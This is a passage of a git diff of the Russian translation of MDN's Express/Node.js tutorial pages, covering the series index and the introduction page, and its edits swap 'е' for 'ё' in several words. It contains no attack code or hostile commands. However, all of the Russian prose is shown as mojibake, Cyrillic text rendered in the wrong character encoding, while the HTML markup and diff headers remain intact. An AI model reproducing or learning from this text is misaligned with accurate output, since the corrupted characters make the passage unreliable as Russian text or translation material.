ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΅Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ)</span>.</dd>
+ <dd>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ± Express ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° вопросы "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Node?" ΠΈ "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Express?" ΠΈ Π΄Π°Π΄ΠΈΠΌ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Express особСнным. <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_3">ΠœΡ‹ расскаТСм ΠΎΠ± основных функциях ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· основных ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Express (хотя Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ вас Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚ срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΅Ρ‘ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ)</span>.</dd>
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Настройка срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Node (Express)</a></dt>
<dd>
<div style="padding-bottom: 30px;"><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Express, ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Node/Express Π² Windows, Linux (Ubuntu) ΠΈ Mac OS X. НСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΡƒΡŽ ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΡƒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ систСму Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, эта ΡΡ‚Π°Ρ‚ΡŒΡ </span><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_1">даст Π²Π°ΠΌ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Express.</span></div>
@@ -46,18 +46,18 @@ translation_of: Learn/Server-side/Express_Nodejs
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Express Ρ‡Π°ΡΡ‚ΡŒ 4: ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹</a></dt>
<dd>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ создадим ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ (ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ URL) с "Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ" ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для всСх ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡Π΅ΠΊ рСсурсов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ понадобятся для сайта<em> LocalLibrary</em>. По Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΡƒΡŽ структуру нашСго ΠΊΠΎΠ΄Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½Ρ‹Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Express.</dd>
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Express Ρ‡Π°ΡΡ‚ΡŒ 5: ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ</a></dt>
- <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ страницы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ½ΠΈΠ³ΠΈ Π²Π΅Π±-сайта <em>LocalLibrary</em> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π³Π»Π°Π²Π½ΡƒΡŽ страницу, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сколько записСй ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ страницу для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра записи. По ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ практичСский ΠΎΠΏΡ‹Ρ‚ Π² ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ записСй ΠΈΠ· Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ использовании шаблонов.</dd>
+ <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ страницы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ½ΠΈΠ³ΠΈ Π²Π΅Π±-сайта <em>LocalLibrary</em> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π³Π»Π°Π²Π½ΡƒΡŽ страницу, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сколько записСй ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ страницу для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра записи. По ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ практичСский ΠΎΠΏΡ‹Ρ‚ Π² ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ записСй ΠΈΠ· Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ использовании шаблонов.</dd>
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Express Ρ‡Π°ΡΡ‚ΡŒ 6: Π Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a></dt>
<dd>Π’ этой части ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a> Π² Express, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Pug, ΠΈ Π² частности, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Express Ρ‡Π°ΡΡ‚ΡŒ 7: Π’Ρ‹ΠΊΠ»Π°Π΄ΠΊΠ° Π² production</a></dt>
- <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создали Π²ΠΎΡΡ…ΠΈΡ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ сайт <em>LocalLibrary</em>, Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° общСдоступном сСрвСрС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΌΠΎΠ³ Π΄Π°Ρ‚ΡŒ доступ пСрсоналу Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ хост для развСртывания вашСго сайта ΠΈ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ ваш сайт ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создали Π²ΠΎΡΡ…ΠΈΡ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ сайт <em>LocalLibrary</em>, Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° общСдоступном сСрвСрС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΌΠΎΠ³ Π΄Π°Ρ‚ΡŒ доступ пСрсоналу Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ хост для развёртывания вашСго сайта ΠΈ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ ваш сайт ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<dl>
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Установка LocalLibrary Π½Π° PWS/Cloud Foundry</a></dt>
- <dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСна практичСская дСмонстрация Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <em>LocalLibrary</em> Π½Π° <a href="http://run.pivotal.io">ΠΎΠ±Π»Π°ΠΊΠ΅ Pivotal Web Services PaaS</a> β€” это ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ для Heroku, ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠ³ΠΎ сСрвиса PaaSΒ  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Π² части 7 этого ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠ°, прСдставлСнного Π²Ρ‹ΡˆΠ΅. PWS/Cloud Foundry ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ стоит ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ, Ссли Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρƒ Heroku (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ PaaS ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠΌΡƒ сСрвису), ΠΈΠ»ΠΈ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
+ <dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСна практичСская дСмонстрация Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <em>LocalLibrary</em> Π½Π° <a href="http://run.pivotal.io">ΠΎΠ±Π»Π°ΠΊΠ΅ Pivotal Web Services PaaS</a> β€” это ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π° с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ для Heroku, ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠ³ΠΎ сСрвиса PaaSΒ  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Π² части 7 этого ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠ°, прСдставлСнного Π²Ρ‹ΡˆΠ΅. PWS/Cloud Foundry ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ стоит ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ, Ссли Π²Ρ‹ ΠΈΡ‰Π΅Ρ‚Π΅ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρƒ Heroku (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ PaaS ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠΌΡƒ сСрвису), ΠΈΠ»ΠΈ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
</dl>
<h2 id="Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅_Π΄Ρ€ΡƒΠ³ΠΈΠ΅_ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠΈ">Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠΈ</h2>
diff --git a/files/ru/learn/server-side/express_nodejs/introduction/index.html b/files/ru/learn/server-side/express_nodejs/introduction/index.html
index 96f5db6121..36bf2f9eb9 100644
--- a/files/ru/learn/server-side/express_nodejs/introduction/index.html
+++ b/files/ru/learn/server-side/express_nodejs/introduction/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction
---
<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
-<p class="summary">Π’ этой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎ Express ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° вопросы "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Node?" ΠΈ "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Express?", ΠΈ сдСлаСм ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Express Ρ‚Π°ΠΊΠΈΠΌ особСнным. <span id="result_box" lang="ru"><span>ΠœΡ‹ расскаТСм ΠΎΠ± основных функциях ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· основных ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² прилоТСния Express (хотя Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ вас Π΅Ρ‰Π΅ Π½Π΅Ρ‚ срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΅Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ).</span></span></p>
+<p class="summary">Π’ этой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎ Express ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° вопросы "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Node?" ΠΈ "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Express?", ΠΈ сдСлаСм ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Express Ρ‚Π°ΠΊΠΈΠΌ особСнным. <span id="result_box" lang="ru"><span>ΠœΡ‹ расскаТСм ΠΎΠ± основных функциях ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· основных ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² прилоТСния Express (хотя Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ вас Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚ срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΅Ρ‘ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ).</span></span></p>
<table class="learn-box standard-table">
<tbody>
@@ -27,10 +27,10 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction
<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π²Π΅Π±-сСрвСрной Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Node ΠΈΠΌΠ΅Π΅Ρ‚ ряд прСимущСств:</p>
<ul>
- <li>ΠžΡ‚Π»ΠΈΡ‡Π½Π°Ρ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ! Node <span id="result_box" lang="ru"><span>Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ пропускной способности ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΠΈ Π² Π²Π΅Π±-прилоТСниях ΠΈ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ справляСтся со ΠΌΠ½ΠΎΠ³ΠΈΠΌΠΈ распространСнными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Π΅Π±-прилоТСния Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ).</span></span></li>
+ <li>ΠžΡ‚Π»ΠΈΡ‡Π½Π°Ρ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ! Node <span id="result_box" lang="ru"><span>Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ пропускной способности ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΠΈ Π² Π²Π΅Π±-прилоТСниях ΠΈ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ справляСтся со ΠΌΠ½ΠΎΠ³ΠΈΠΌΠΈ распространёнными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Π΅Π±-прилоТСния Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ).</span></span></li>
